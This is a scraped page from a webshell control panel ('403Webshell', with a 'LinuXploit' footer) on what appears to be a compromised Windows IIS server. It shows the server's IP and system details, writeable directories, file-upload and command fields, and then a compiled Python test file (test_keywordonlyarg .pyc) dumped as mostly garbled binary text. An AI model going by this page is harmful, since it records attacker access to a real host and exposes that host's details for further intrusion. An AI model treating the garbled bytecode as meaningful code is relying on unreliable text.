403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_keywordonlyarg.cpython-313.opt-2.pyc
�

��iD����SrSrSSKrSrSS.SjrSrSrSSS	.S
jjrSSS	.SjjrSS
.Sjr	SS
.Sjr
"SS5r"SS\R5r
\S:Xa\R"5 gg)z	Jiwon Seozseojiwon at gmail dot com�Nc�R�U[U5-[UR55-$�N��sum�values)�pos_arg1�arg�kwargs   �-C:\Python313\\Lib\test\test_keywordonlyarg.py�posonly_sumrs!���c�#�h���U�\�\�^�!4�4�4���k1c�
�X-$r��r�k2s  r�keywordonly_sumr
�	��
�7�Nr
c�
�X-$rrrs  r�keywordonly_nodefaults_sumrrr
c�>�X-[UR55-$rr)rrr
s   r�keywordonly_and_kwarg_sumrs��
�7�S�����(�(�(r
�rc�.�X-U-U-[U5-$r)r)�a�brrr	s     r�
mixedargs_sumrs���5�2�:��?�S��X�%�%r
c�b�X-U-U-[U5-[UR55-$rr)rrrrr	�kwargss      r�mixedargs_sum2r!s+���5�2�:��?�S��X�%��F�M�M�O�(<�<�<r
F��reversec�(�[[U5US9$�Nr"��sorted�list)r#�numss  r�sortnumr*s���$�t�*�g�.�.r
c�(�[[U5US9$r%r&)r#�wordsr s   r�	sortwordsr-s���$�u�+�w�/�/r
c�.�\rSrSrSS.SjrSrSrSrg)	�Foo�rrc��XlX lgrr��selfrrs   r�__init__�Foo.__init__������r
c��X lX0lgrr)r3�p1rrs    r�set�Foo.setr6r
c�4�URUR-$rr�r3s rr�Foo.sum"s���w�w���� � r
rN)�__name__�
__module__�__qualname__�__firstlineno__r4r9r�__static_attributes__rr
rr/r/s��!"���!r
r/c�\�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�KeywordOnlyArgTestCase�%c�6�SnUR[X!5 g)Nc��[USS5 g)N�<test>�single)�compile)�ss r�shouldRaiseSyntaxError�NKeywordOnlyArgTestCase.assertRaisesSyntaxError.<locals>.shouldRaiseSyntaxError's���A�x��*r
)�assertRaises�SyntaxError)r3�codestrrLs   r�assertRaisesSyntaxError�.KeywordOnlyArgTestCase.assertRaisesSyntaxError&s��	+����+�'=�Gr
c��URS5 URS5 URS5 URS5 URS5 URS5 URS5 URS5 g)	Nzdef f(p, *):
  pass
zdef f(p1, *, p1=100):
  pass
zdef f(p1, *k1, k1=100):
  pass
z!def f(p1, *, k1, k1=100):
  pass
zdef f(p1, *, **k1):
  pass
zdef f(p1, *, k1, **k1):
  pass
z!def f(p1, *, None, **k1):
  pass
z$def f(p, *, (k1, k2), **kw):
  pass
�rQr<s r�$testSyntaxErrorForFunctionDefinition�;KeywordOnlyArgTestCase.testSyntaxErrorForFunctionDefinition+sz���$�$�%=�>��$�$�%F�G��$�$�%H�I��$�$�%J�K��$�$�%D�E��$�$�%H�I��$�$�%J�K��$�$�%M�Nr
c���SSRS[S555-n[USS5 SSRS[S555-n[USS5 g)	Nzdef f(%s):
  pass
z, c3�,# �UH
nSU-v� M g7f�zi%dNr��.0�is  r�	<genexpr>�DKeywordOnlyArgTestCase.testSyntaxForManyArguments.<locals>.<genexpr>7s���3R�z�!�E�A�I�z���i,rHrIzdef f(*, %s):
  pass
c3�,# �UH
nSU-v� M g7frYrrZs  rr]r^:s���6U�*�Q�u�q�y�*�r_)�join�rangerJ)r3�fundefs  r�testSyntaxForManyArguments�1KeywordOnlyArgTestCase.testSyntaxForManyArguments5sU��'�$�)�)�3R�u�S�z�3R�*R�R�����(�+�*�T�Y�Y�6U�%�PS�*�6U�-U�U�����(�+r
c���SSS.SjjnUR[5nU"SSS5 SSS5 URS3nUR[	WR
5U5 g!,(df   NC=f)N)�cc��grr�rrrgs   r�f�CKeywordOnlyArgTestCase.testTooManyPositionalErrorMessage.<locals>.f>s��r
���z:() takes from 1 to 2 positional arguments but 3 were givenr)rN�	TypeErrorr@�assertEqual�str�	exception)r3rj�exc�expecteds    r�!testTooManyPositionalErrorMessage�8KeywordOnlyArgTestCase.testTooManyPositionalErrorMessage=sf��	�d�	�
�
�
�y�
)�S�
�a��A�J�*��~�~�&�'<�<������S�]�]�+�X�6�	*�
)�s�A'�'
A5c�H�URS5 URS5 g)Nz
f(p, k=1, p2)zf(p, k1=50, *(1,2), k1=100)rTr<s r�testSyntaxErrorForFunctionCall�5KeywordOnlyArgTestCase.testSyntaxErrorForFunctionCallFs���$�$�_�5��$�$�%B�Cr
c�T�UR[[S5 UR[[S5 UR[[S5 [SSS9 URS5 [SS9 URS5 g![a N(f=f![a gf=f)Nr�d��)r�non_existing_argzshould raise TypeErrorrmr)rNrorrr/�failr<s r�2testRaiseErrorFuncallWithUnexpectedKeywordArgument�IKeywordOnlyArgTestCase.testRaiseErrorFuncallWithUnexpectedKeywordArgumentJs������)�_�b�9����)�%?��D����)�S�"�-�	��s�S�9��I�I�.�/�	�&�!�,��I�I�.�/��	�	��	��
�	��	�s$�B
�/B�

B�B�
B'�&B'c��URS[S55 URS[S0SS0D65 URS[S/SQ765 URS[S/SQ70SS	0D65 URS[SS
95 URS[SSS95 URS[SSS95 URS[SSSS95 URS[S SSS.SS	S
.D65 URS[	SSS95 URS[	SSSS95 URS[	SSSS	S95 URS[	SSSS	SS95 URS[SSS95 URS[SSSS95 URS[SSSS	S95 URS[SSSS	SS95 URS[SSSS	SSS95 URS[SSS	0SSS.D65 URS[
SS9R55 URS[
SSS9R55 UR/SQ[SSS55 UR/SQ[SSSSS95 UR/SQ[SSS55 UR/SQ[SSSSS95 UR/SQ[SSSSSS95 g)!Nrlrn�2rm�)rmrn�
�4�rr)rr�k3)rrr���)rlrmrnr)rr�)rnrmrlTr"rirrgr)rgrr�ignore)r#r�)rlr)
rprrrrr!r/rr*r-r<s r�testFunctionCall�'KeywordOnlyArgTestCase.testFunctionCallYs�������K��N�+�����k�6�s�1�g�6�7������A� 5�u� 5�6�����+�a�"A��"A�#�a��"A�B�����O�q�1�2�����o��q�9�:�����7�1��C�D����� 9�Q�1�� K�L�����2�E�a�A�E�;<��m�E�	F�	
����m�A�!�4�5�����
�a��q� 9�:�����-��1��q�"A�B�����M�!�Q��a�A�$F�G�����n�Q�1�5�6������q�!�� :�;�����.��A�!��"B�C�����N�1�a��q�Q�$G�H�����'��1�a�A�!��B�	D�����'�J�A�J�q�q�9I�J�	L�	
����C�1�I�M�M�O�,�����c�Q�!�n�0�0�2�3�����'�!�A�a�.�1�����'�!�A�a��">�?�����	�#�c�#�(>�?�����	�#�c�#�t�(L�M�����"�3�s�3��X�N�	Pr
c��SSS.SjjnURSURR5 URSS0UR5 SS0UlU"SSS	9 UR	S
5 g![
a gf=f)Nrrc��X-U-U-$rr)r8�p2rrs    r�foo�2KeywordOnlyArgTestCase.testKwDefaults.<locals>.foo�s���7�R�<�"�$�$r
rmrrrlr�rz&__kwdefaults__ is not properly changed�r)rp�__code__�co_kwonlyargcount�__kwdefaults__r~ro)r3r�s  r�testKwDefaults�%KeywordOnlyArgTestCase.testKwDefaults�s}��	%�1�	%�	
����C�L�L�:�:�;����$�q��3�#5�#5�6�"�1�X���	���R�L��I�I�>�?���	��	�s�A1�1
A>�=A>c���"SS5nURU"5RSSS9S5 URURU"5SSS9S5 UR[URSSS9 g)Nc�$�\rSrSrSSS.SjrSrg)�;KeywordOnlyArgTestCase.test_kwonly_methods.<locals>.Example�rlrmrc��X4$rrr2s   rrj�=KeywordOnlyArgTestCase.test_kwonly_methods.<locals>.Example.f�s	���v�
r
rN�r>r?r@rArjrBrr
r�Exampler��s���A�
�
r
r�rlrmr)rlrm)rprjrNro)r3r�s  r�test_kwonly_methods�*KeywordOnlyArgTestCase.test_kwonly_methods�si��	�	�	
��������a��0�&�9�������7�9��q��9�6�B����)�W�Y�Y�1���;r
c��[S.Sj g)Nrc��grrrs r�<lambda>�8KeywordOnlyArgTestCase.test_issue13343.<locals>.<lambda>�s��tr
)�unittestr<s r�test_issue13343�&KeywordOnlyArgTestCase.test_issue13343�s
���#r
c�b�"SS5nURU"5R5S5 g)Nc�"�\rSrSrSS.SjrSrg)�/KeywordOnlyArgTestCase.test_mangling.<locals>.X��*)�_X__ac��U$rr)r3r�s  rrj�1KeywordOnlyArgTestCase.test_mangling.<locals>.X.f�s���
r
rNr�rr
r�Xr��s��!�
�
r
r�r�)rprj)r3r�s  r�
test_mangling�$KeywordOnlyArgTestCase.test_mangling�s&��	�	�	
��������"�%r
c��SnUR[5nU[4[[S.SjjnSSS5 UR[
WR5S5 UR[5nU[4[[S.SjjnSSS5 UR[
UR5S5 g!,(df   N�=f!,(df   NE=f)Nr�)�y�zc��grr��v�xr�r�s    rrj�?KeywordOnlyArgTestCase.test_default_evaluation_order.<locals>.f�s��r
zname 'b' is not definedc��grrr�s    rr��FKeywordOnlyArgTestCase.test_default_evaluation_order.<locals>.<lambda>�s��dr
)rN�	NameErrorrrg�drprqrr)r3r�errrj�gs     r�test_default_evaluation_order�4KeywordOnlyArgTestCase.test_default_evaluation_order�s�����
�
�
�y�
)�S���
��a�
�*�	
����S�]�]�+�-F�G�
�
�
�y�
)�S��a�2�a�1�2�A�*�����S�]�]�+�-F�G�
*�
)��*�
)�s�B:�3C�:
C�
CrN)r>r?r@rArQrUrdrurxrr�r�r�r�r�r�rBrr
rrDrD%sD��H�
O�,�7�D�
�&P�P�<�$�&�	Hr
rD�__main__r�)�
__author__�	__email__r�rrrrrr!r*r-r/�TestCaserDr>�mainrr
r�<module>r�s����
�'�	��5����)�&�q�&�=��=�!�/�$�0�!�!�IH�X�.�.�IH�X�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit